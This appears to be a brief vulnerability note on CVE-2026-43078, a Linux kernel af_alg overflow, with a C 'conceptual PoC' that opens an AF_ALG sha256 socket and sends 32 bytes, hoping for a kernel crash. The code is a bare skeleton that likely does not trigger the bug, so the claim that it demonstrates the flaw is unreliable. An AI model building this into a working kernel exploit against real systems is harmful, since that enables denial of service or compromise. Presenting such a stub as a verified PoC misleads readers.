CVE-2026-43078: Linux内核af_alg页面重分配溢出漏洞

// This is a conceptual PoC for CVE-2026-43078 // It demonstrates how to interact with AF_ALG to trigger the path. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_alg.h> int main() { int tfmfd, opfd; struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "hash", .salg_name = "sha256" }; char buf[32] = {0}; // Create algorithm socket tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0); if (tfmfd < 0) { perror("socket"); return 1; } // Bind with specific algorithm if (bind(tfmfd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(tfmfd); return 1; } // Create operation socket opfd = accept(tfmfd, NULL, 0); if (opfd < 0) { perror("accept"); close(tfmfd); return 1; } // Send data to trigger af_alg_pull_tsgl logic // Real exploitation requires specific size and timing to hit the overflow if (send(opfd, buf, sizeof(buf), 0) < 0) { perror("send"); } else { printf("Data sent. Check kernel logs for panic/crash."); } close(opfd); close(tfmfd); return 0; }